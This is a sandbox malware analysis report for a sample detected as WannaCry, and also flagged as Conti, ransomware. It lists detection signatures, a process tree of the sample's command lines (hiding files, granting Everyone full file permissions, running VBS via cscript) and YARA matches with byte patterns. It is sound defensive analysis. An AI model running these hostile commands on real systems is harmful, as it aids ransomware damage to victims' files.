Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
f_000112

Overview

General Information

Sample name:f_000112
Analysis ID:1496614
MD5:84c82835a5d21bbcf75a61706d8ab549
SHA1:5ff465afaabcbf0150d1a3ab2c2e74f3a4426467
SHA256:ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
Infos:

Detection

Conti, Wannacry
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Yara detected Conti ransomware
Yara detected Wannacry ransomware
AI detected suspicious sample
Command shell drops VBS files
Contains functionality to detect sleep reduction / modifications
Contains functionalty to change the wallpaper
Creates files in the recycle bin to hide itself
Deletes shadow drive data (may be related to ransomware)
Drops PE files to the document folder of the user
Found Tor onion address
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies existing user documents (likely ransomware behavior)
Query firmware table information (likely to detect VMs)
Uses cmd line tools excessively to alter registry or file data
Writes many files with high entropy
Abnormal high CPU Usage
Contains functionality to dynamically determine API calls
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected non-DNS traffic on DNS port
Detected potential crypto function
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evaded block containing many API calls
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Startup Folder File Write
Sigma detected: Uncommon Svchost Parent Process
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses cacls to modify the permissions of files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64_ra
  • f_000112.exe (PID: 6872 cmdline: "C:\Users\user\Desktop\f_000112.exe" MD5: 84C82835A5D21BBCF75A61706D8AB549)
    • attrib.exe (PID: 6932 cmdline: attrib +h . MD5: 0E938DD280E83B1596EC6AA48729C2B0)
      • conhost.exe (PID: 6948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • icacls.exe (PID: 6940 cmdline: icacls . /grant Everyone:F /T /C /Q MD5: 2E49585E4E08565F52090B144062F97E)
      • conhost.exe (PID: 6956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • taskdl.exe (PID: 7056 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7080 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • cmd.exe (PID: 7104 cmdline: C:\Windows\system32\cmd.exe /c 234691724246428.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 7112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cscript.exe (PID: 6292 cmdline: cscript.exe //nologo m.vbs MD5: CB601B41D4C8074BE8A84AED564A94DC)
    • taskdl.exe (PID: 6204 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1732 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6372 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2888 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6404 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6444 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6416 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6552 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6560 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6520 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6516 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6592 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6596 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5464 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4780 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2712 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 932 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6064 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2312 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1736 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5564 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1996 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4396 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4320 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1552 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3968 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4992 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6696 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2460 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5936 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6692 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • svchost.exe (PID: 6756 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • taskdl.exe (PID: 6928 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7032 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7116 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7112 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • MoUsoCoreWorker.exe (PID: 4684 cmdline: C:\Windows\System32\mousocoreworker.exe -Embedding MD5: 0FBA74C118D80D061FFCE102CCC0DF5E)
    • taskdl.exe (PID: 3808 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7136 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6484 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • SIHClient.exe (PID: 6636 cmdline: C:\Windows\System32\sihclient.exe /cv sLtwoH0bEUKG+NxKNhh+6w.0.2 MD5: 8BE47315BF30475EEECE8E39599E9273)
    • taskdl.exe (PID: 548 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 432 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5292 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5916 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2080 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1860 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4048 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3496 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1540 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3728 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6696 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2460 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6700 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4264 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4776 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6972 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7000 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7092 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1468 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6160 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7112 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1036 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6404 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6536 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2536 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4732 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6484 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5924 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1828 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1764 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5292 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4592 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 424 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2080 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4248 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3284 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6336 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1372 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1996 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1608 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2276 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3728 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4184 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2460 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6700 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 444 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6944 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6972 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7000 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1284 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6232 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6196 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5952 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2336 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6436 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6528 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3544 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6908 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5000 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6508 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2924 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1228 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3012 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2548 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1360 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2868 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4592 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4308 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3588 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2532 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3312 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3996 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1552 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6096 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1832 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5228 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1316 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • dllhost.exe (PID: 1476 cmdline: C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5} MD5: 08EB78E5BE019DF044C26B14703BD1FA)
    • taskdl.exe (PID: 6380 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 364 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2460 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 828 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6928 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7096 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7100 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 636 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1468 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6272 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6092 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2888 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6192 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1172 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • f_000112.exe (PID: 4008 cmdline: "C:\Users\user\Desktop\f_000112.exe" MD5: 84C82835A5D21BBCF75A61706D8AB549)
      • attrib.exe (PID: 1956 cmdline: attrib +h . MD5: 0E938DD280E83B1596EC6AA48729C2B0)
        • conhost.exe (PID: 3184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • icacls.exe (PID: 1948 cmdline: icacls . /grant Everyone:F /T /C /Q MD5: 2E49585E4E08565F52090B144062F97E)
        • conhost.exe (PID: 6916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • taskdl.exe (PID: 5928 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4080 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1640 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1884 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2352 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1788 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2604 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3068 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5612 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3368 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3636 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3544 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3476 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6920 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3568 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5000 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6632 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6360 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2412 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4152 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4372 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4336 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1228 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2740 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2216 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3488 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5292 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5916 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3548 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4864 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1860 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3588 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4980 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5088 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5144 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4124 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4572 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4820 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2544 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3964 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4416 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4984 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5844 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4944 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1988 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3496 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1060 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1084 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6792 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4132 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Conti, Conti LockConti is an extremely damaging ransomware due to the speed with which it encrypts data and spreads to other systems. It was first observed in 2020 and it is thought to be led by a Russia-based cybercrime group that goes under the Wizard Spider pseudonym. In early May 2022, the US government announced a reward of up to $10 million for information on the Conti ransomware gang.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.conti
NameDescriptionAttributionBlogpost URLsLink
WannaCryptor, WannaCry, WannaCrypt
  • Lazarus Group
https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
f_000112JoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
    f_000112WannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
    • 0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q
    • 0x342d41:$x2: taskdl.exe
    • 0x35962d:$x2: taskdl.exe
    • 0xf4d8:$x3: tasksche.exe
    • 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA
    • 0xf52c:$x5: WNcry@2ol7
    • 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q
    • 0x359d91:$s2: Windows 10 -->
    • 0xf42c:$s3: cmd.exe /c "%s"
    • 0x41980:$s4: msg/m_portuguese.wnry
    • 0x3591ff:$s4: msg/m_portuguese.wnry
    • 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
    • 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56
    • 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
    f_000112wanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
    • 0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
    • 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
    f_000112Win32_Ransomware_WannaCryunknownReversingLabs
    • 0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ...
    • 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...

    Dropped Files

    SourceRuleDescriptionAuthorStrings
    C:\@Please_Read_Me@.txtWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
    • 0x2c0:$s1: A: Don't worry about decryption.
    • 0x0:$s2: Q: What's wrong with my files?
    C:\@Please_Read_Me@.txtWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
    • 0x2c0:$s1: A: Don't worry about decryption.
    • 0x0:$s2: Q: What's wrong with my files?
    C:\@Please_Read_Me@.txtWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
    • 0x2c0:$s1: A: Don't worry about decryption.
    • 0x0:$s2: Q: What's wrong with my files?
    C:\@Please_Read_Me@.txtWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
    • 0x2c0:$s1: A: Don't worry about decryption.
    • 0x0:$s2: Q: What's wrong with my files?
    C:\@Please_Read_Me@.txtWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
    • 0x2c0:$s1: A: Don't worry about decryption.
    • 0x0:$s2: Q: What's wrong with my files?
    Click to see the 33 entries

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    00000000.00000000.1182915261.000000000040E000.00000008.00000001.01000000.00000003.sdmpwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
